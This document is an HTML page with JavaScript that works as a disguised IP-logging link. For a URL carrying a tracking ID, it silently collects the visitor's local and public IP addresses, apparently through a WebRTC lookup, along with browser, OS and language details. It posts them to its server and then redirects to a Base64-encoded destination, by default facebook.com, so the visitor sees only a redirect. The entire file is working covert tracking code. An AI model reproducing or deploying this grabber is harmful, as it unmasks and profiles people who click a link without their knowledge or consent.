<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
</head>

<body>
    
</body>
<script src="/t1.js"></script>
<script src="/detect.js"></script>
<script src="/base64.min.js"></script>
<script>
    var url = window.location.href;
    var params = {};
    var result = {};
    if (url.indexOf('?') === -1) redirect();
    var queries = url.split('?')[1].split('&');
    var detectResult = detect.parse(navigator.userAgent);
    for (var item = 0; item < queries.length; item++) {
        var sub = queries[item].split('=');
        params[sub[0]] = sub[1];
    }
    if (!!params['u']) {
        if (params['u'] !== '') {
            collector();
        } else {
            redirect();
        }
    } else {
        redirect();
    }

    function collector() {
        getIPs(function (ip) {
            if (ip.match(/^(192\.168\.|169\.254\.|10\.|172\.(1[6-9]|2\d|3[01]))/)) result['ipinner'] = ip;
            else if (ip.match(/^[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7}$/)) console.log('ignipv6');
            else result['ip'] = ip;
            rest();
        });
    }

    function rest() {
        result['agent'] = navigator.userAgent;
        result['uuid'] = params['u'];
        result['os'] = detectResult.os.family.split(' ')[0];
        result['osVersion'] = detectResult.os.name;
        result['b'] = detectResult.browser.family;
        result['bVersion'] = '' + detectResult.browser.major + '.' + detectResult.browser.minor + '.' + detectResult.browser
            .patch + '.' + detectResult.browser.release;
        result['language'] = navigator.systemLanguage || navigator.language;
        result['date'] = Date.now();
        submit();
    }

    function submit() {
        var http = null;
        if (window.XMLHttpRequest) {
            http = new XMLHttpRequest();
        } else {
            http = new ActiveXObject("Microsoft.XMLHTTP");
        }
        var data = objSerializer(result);
        http.open("POST", '/', true);
        http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        http.onreadystatechange = function () {
            if (http.readyState === 4 && http.status === 200) {
                redirect();
            } else if (http.readyState === 4 && http.status >= 400) {
                redirect();
            }
        }
        http.send(data);
    }

    function objSerializer(d) {
        var str = [];
        for (item in d) {
            str.push(item + "=" + d[item]);
        }
        return str.join('&');
    }

    function redirect() {
        if (params['a'] === '' || !params['a']) params['a'] = 'https://www.facebook.com';
        else {
            if (params['a'].indexOf('http') !== 0) params['a'] = Base64.decode(params['a'])
        };
        window.location.href = decodeURIComponent(params['a']);
    }
</script>

</html>